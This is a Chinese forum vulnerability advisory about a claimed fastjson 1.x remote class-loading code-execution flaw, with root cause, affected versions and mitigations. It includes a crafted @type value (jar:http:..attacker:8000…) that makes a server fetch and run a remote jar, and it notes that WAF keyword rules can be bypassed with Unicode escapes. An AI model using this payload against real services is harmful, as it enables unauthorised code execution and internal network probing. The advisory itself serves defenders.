首页
社区
课程
招聘
[原创]漏洞预警丨fastjson @JSONType 远程类加载远程代码执行漏洞
发表于: 3天前 602

[原创]漏洞预警丨fastjson @JSONType 远程类加载远程代码执行漏洞

3天前
602

一、漏洞概述


漏洞类型

反序列化 / 远程类加载 RCE

漏洞等级

严重

漏洞编号

暂无(暂未分配 CVE

漏洞评分

9.8

利用复杂度

影响版本

fastjson 1.2.66–1.2.831.x

利用方式

远程

POC/EXP

已公开


近期,安全研究员 Kirill Firsov(@k_firsov,FearsOff)公开声称在 fastjson 1.2.83 中发现了一条无需 gadget 链的远程代码执行路径,随后社区公布了基于 @JSONType 注解探测机制的 PoC。攻击者仅需向任意 fastjson 反序列化端点发送一个含恶意 @type 的 JSON 请求,即可触发目标主动拉取远程恶意 jar、加载并执行其中的类静态初始化代码,最终实现未授权远程代码执行。为避免您的业务受影响,建议您及时开展安全风险自查。


fastjson 是阿里巴巴开源的高性能 JSON 序列化/反序列化库,在国内 Java 生态(尤其是 Spring Boot 微服务、中间件、各类业务系统)中应用极为广泛,常被用于 HTTP 接口的请求体解析。其历史上多次出现反序列化 RCE(如 CVE-2022-25845 autoType),社区普遍认为「关闭 autoType(默认即关闭)」「绑定具体类型 parseObject(body, Dto.class)」可作为缓解措施,但本次披露表明二者均无效。


据描述,该漏洞根因位于 ParserConfig.checkAutoType:fastjson 在解析 @type 时,会通过对类型名执行 getResourceAsStream(typeName.replace('.','/') + ".class") 来探测该类是否标注了 @JSONType 注解。由于 replace('.', '/') 同时作用于主机名中的点号,攻击者可构造形如 jar:http:..attacker:8000.probe!.POC 的 @type,经替换后(..→//、.→/)重建成 URL jar:842K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3q4@1N6r3q4U0K9$3g2J5i4K6y4m8z5o6l9H3x3q4)9J5c8Y4m8J5L8$3u0W2i4K6t1I4i4K6u0r3f1p5!0o6i4K6u0W2j5$3I4S2M7%4y4Q4c8e0y4Q4z5o6m8Q4z5o6u0Q4c8e0g2Q4b7V1c8Q4z5e0y4Q4c8e0N6Q4z5f1u0Q4b7f1g2Q4c8e0k6Q4b7e0m8Q4z5o6N6Q4c8e0S2Q4b7V1k6Q4z5e0m8Q4c8e0S2Q4b7e0q4Q4z5p5y4Q4c8e0g2Q4z5f1y4Q4b7e0S2Q4c8e0S2Q4z5o6y4Q4b7V1c8Q4c8e0g2Q4b7e0c8Q4z5f1k6Q4c8e0S2Q4b7e0N6Q4b7e0y4Q4c8e0k6Q4z5f1g2Q4z5e0l9`. jar:http:// 资源名的类加载器下(Spring Boot 可执行 fat-jar 默认使用的 `LaunchedURLClassLoader` 即满足),会主动向攻击者服务器请求该远程 jar,defineClass 加载后执行其静态初始化块(<clinit>)= RCE。


关键点:


  • autoType 关闭不能缓解:漏洞发生在 @type 注解探测路径,而非 autoType 放行路径,默认配置(autoType OFF)即受影响;

  • 绑定具体类型不能缓解:恶意类的 <clinit> 在 fastjson 尝试将其强制转换为 Dto 之前就已执行(响应特征为 ClassCastException);

  • JDK 版本决定危害等级:JDK 8 下可完整 RCE;JDK 9+ 阻断了该构造类名的 defineClass,攻击降级为 SSRF(目标仍会发出远程请求)。


漏洞影响的产品和版本:


  • fastjson 1.2.66 – 1.2.83(1.x)

  • 触发条件:应用以 Spring Boot 可执行 fat-jar 形式部署(LaunchedURLClassLoader),或任意可解析 jar:http:// 资源名的自定义类加载器环境

  • JDK 8 → 完整 RCE;JDK 9+ → SSRF(远程类加载被阻断)

  • 已开启 -Dfastjson.parser.safeMode=true 的环境,checkAutoType 会短路、不进入该探测路径,不受影响

  • fastjson 2.x 不受此漏洞影响


二、漏洞复现



三、资产测绘


据 daydaymap 数据显示互联网存在5,331,995个资产,风险资产分布情况如下。


全球分布:


国内分布:



、解决方案


根治措施:


  • 优先迁移至 fastjson2(2.x),或在不信任输入路径上移除 fastjson 1.x;fastjson2 不受本漏洞影响。

  • 若必须继续使用 fastjson 1.x,全局开启 safeMode:JVM 启动参数增加 -Dfastjson.parser.safeMode=true,使 checkAutoType 短路、不再进入 @type 注解探测路径,从而阻断本漏洞(需重启应用)。


临时缓解措施(无法立即升级/开启 safeMode 时):


  • JDK 升级至 9 及以上:可阻断构造类名的 defineClass,将危害由 RCE 降级为 SSRF(仅治标,SSRF 仍可造成内网探测/利用)。

  • 出口流量白名单:禁止应用容器/进程主动外连,阻断对远程恶意 jar 的拉取 —— 即便漏洞被触发也无法完成类加载。

  • WAF / 边缘拦截:对请求体中 @type 含 jar:、!、..、整数 IP 字面量的请求进行拦截;注意:纯关键字匹配可被 \uXXXX Unicode 转义绕过(fastjson 仍会解码),不可作为唯一防线。

  • 收敛攻击面:不将 fastjson 反序列化端点暴露至公网;对接口入参进行严格类型校验,拒绝任意 @type 字段。

  • 自查排查:盘点业务中 fastjson 版本是否落在 1.2.66–1.2.83、是否以 Spring Boot 可执行 jar 部署、是否已开启 safeMode;检查应用是否存在未授权的 JSON 入口。


五、参考链接


    fastjson 官方仓库(含 safeMode 及 autoType 历史):
    原始披露:Kirill Firsov(@k_firsov,FearsOff)—— fastjson 1.2.83 gadget-free RCE 公开声称(2026-07)


    六、ddpoc链接


      288K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2V1k6s2m8G2j5#2)9J5k6h3y4G2L8g2)9J5c8V1c8h3b7W2)9J5k6o6t1H3x3U0k6Q4x3X3b7I4x3e0f1H3x3q4)9J5k6h3S2@1L8h3H3`.

      原文链接


      [招生]科锐逆向工程师培训(2026年7月3日实地,远程教学同时开班, 第56期)!

      收藏
      免费 0
      打赏
      分享
      最新回复 (0)
      游客
      登录 | 注册 方可回帖
      返回